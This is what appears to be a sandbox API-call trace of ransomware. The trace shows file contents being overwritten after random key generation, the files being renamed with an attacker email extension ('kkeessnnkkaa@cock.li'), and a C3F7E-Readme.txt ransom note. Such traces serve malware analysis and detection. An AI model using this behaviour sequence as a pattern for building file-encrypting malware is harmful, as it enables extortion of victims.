	[0084.037] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x279bfd74 | out: lpFileSize=0x279bfd74*=8192) returned 1
	[0084.037] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.040] ReadFile (in: hFile=0x16f8, lpBuffer=0x279bfcf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x279bfcf4, lpOverlapped=0x0 | out: lpBuffer=0x279bfcf8*, lpNumberOfBytesRead=0x279bfcf4*=0x4, lpOverlapped=0x0) returned 1
	[0084.041] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34168
	[0084.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.041] NtQuerySystemTime (in: CurrentTime=0x279bfcd4 | out: CurrentTime=0x279bfcd4*=132251868107806738) returned 0x0
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xce22e09c
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x17c29c0a
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xed629e97
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xa9cef842
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xdae654ab
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x34a0c162
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x4ab592c
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xeadaef08
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x4d8ce439
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xc35a0e0b
	[0084.041] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x1fdba25a
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x6f316c14
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x8a7a72ae
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x1f16b345
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x1c02832e
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xac4220ba
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x30893352
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x107c0e14
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x30541b51
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x3d1bf918
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xb30cd6be
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xf5ca3a6c
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x5fc9eb45
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xb296edb2
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xcb2f87b4
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xb5ca5a0e
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x20925f76
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x1a1abfe9
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xfe593989
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0x315c7b59
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xa28aa247
	[0084.042] RtlRandom (in: Seed=0x279bfce0 | out: Seed=0x279bfce0) returned 0xd1561415
	[0084.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0084.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0084.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0084.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0084.050] ReadFile (in: hFile=0x16f8, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x279bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x279bfcd0*=0x2000, lpOverlapped=0x0) returned 1
	[0084.051] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.051] WriteFile (in: hFile=0x16f8, lpBuffer=0x4eaf810*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x279bfccc, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesWritten=0x279bfccc*=0x2000, lpOverlapped=0x0) returned 1
	[0084.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0084.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0084.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0084.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0084.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776650
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47765b0
	[0084.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebca00
	[0084.903] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.903] WriteFile (in: hFile=0x16f8, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x279bfd34, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x279bfd34*=0x129, lpOverlapped=0x0) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47765b0) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776650) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34168) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0084.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0084.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0084.906] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl"
	[0084.906] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.906] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x279bfcec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0084.906] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x279bfce4, FileInformation=0x2e44980, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0084.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.907] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x279bfcf8, FileInformation=0x279bfcd0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x279bfcf8, FileInformation=0x279bfcd0) returned 0x0
	[0084.907] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x279bfcf8, FileInformation=0x279bfcd0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0084.907] FlushFileBuffers (hFile=0x16f8) returned 1
	[0084.912] CloseHandle (hObject=0x16f8) returned 1
	[0084.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47335f8
	[0084.913] wcscpy (in: _Dest=0x47335f8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.913] wcscat (in: _Dest=0x47335f8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.913] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47335f8) returned 1
	[0084.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd410) returned 1

Thread:
	id = 1127
	os_tid = 0x1e0c

	[0083.599] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl")) returned 0x2020
	[0084.010] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl", dwFileAttributes=0x20) returned 1
	[0084.013] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1704
	[0084.013] GetFileSizeEx (in: hFile=0x1704, lpFileSize=0x27a3f820 | out: lpFileSize=0x27a3f820*=8192) returned 1
	[0084.013] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.016] ReadFile (in: hFile=0x1704, lpBuffer=0x27a3f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27a3f7a0, lpOverlapped=0x0 | out: lpBuffer=0x27a3f7a4*, lpNumberOfBytesRead=0x27a3f7a0*=0x4, lpOverlapped=0x0) returned 1
	[0084.020] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34168
	[0084.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.020] NtQuerySystemTime (in: CurrentTime=0x27a3f780 | out: CurrentTime=0x27a3f780*=132251868107494519) returned 0x0
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x91c76ad2
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x76407408
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x89a85752
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xe06ed1ca
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x8d354a43
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x2176880b
	[0084.020] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xca92d868
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x9688c88a
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x80f48f0a
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xaa9dbde4
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x6be9e423
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x3d9dd253
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xffe3a4e8
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x10d9cc79
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x92c9472a
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x72f16aa9
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x64a92571
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x9f10a2f3
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x5ad28af8
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x4218f31d
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xd7b80c4e
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x831b5a59
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xb7605770
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x34c68ead
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xcc008815
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x28e313d8
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xdce56f25
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x9b01122c
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0xd6d2b956
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x9dd3239a
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x642146d6
	[0084.021] RtlRandom (in: Seed=0x27a3f78c | out: Seed=0x27a3f78c) returned 0x50e33701
	[0084.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0084.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0084.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0084.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0084.030] ReadFile (in: hFile=0x1704, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27a3f77c, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x27a3f77c*=0x2000, lpOverlapped=0x0) returned 1
	[0084.031] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.031] WriteFile (in: hFile=0x1704, lpBuffer=0x4eaf810*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27a3f778, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesWritten=0x27a3f778*=0x2000, lpOverlapped=0x0) returned 1
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776060
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0084.032] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.033] WriteFile (in: hFile=0x1704, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27a3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27a3f7e0*=0x129, lpOverlapped=0x0) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776060) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34168) returned 1
	[0084.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0084.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0084.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0084.035] wcscpy (in: _Dest=0x4925b58, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl"
	[0084.035] wcscat (in: _Dest=0x4925b58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.035] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27a3f798, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0084.035] NtSetInformationFile (FileHandle=0x1704, IoStatusBlock=0x27a3f790, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0084.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0084.036] NtQueryInformationFile (in: FileHandle=0x1704, IoStatusBlock=0x27a3f7a4, FileInformation=0x27a3f77c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27a3f7a4, FileInformation=0x27a3f77c) returned 0x0
	[0084.036] NtSetInformationFile (FileHandle=0x1704, IoStatusBlock=0x27a3f7a4, FileInformation=0x27a3f77c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925b58) returned 1
	[0084.037] FlushFileBuffers (hFile=0x1704) returned 1
	[0084.038] CloseHandle (hObject=0x1704) returned 1
	[0084.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0084.039] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.039] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.039] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.039] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0084.039] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bdf10) returned 1

Thread:
	id = 1128
	os_tid = 0x1e10

	[0083.600] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl")) returned 0x2020
	[0083.686] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl", dwFileAttributes=0x20) returned 1
	[0083.690] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.692] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x27abfb3c | out: lpFileSize=0x27abfb3c*=8192) returned 1
	[0083.692] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.692] ReadFile (in: hFile=0x16f8, lpBuffer=0x27abfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27abfabc, lpOverlapped=0x0 | out: lpBuffer=0x27abfac0*, lpNumberOfBytesRead=0x27abfabc*=0x4, lpOverlapped=0x0) returned 1
	[0083.694] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.694] NtQuerySystemTime (in: CurrentTime=0x27abfa9c | out: CurrentTime=0x27abfa9c*=132251868104369293) returned 0x0
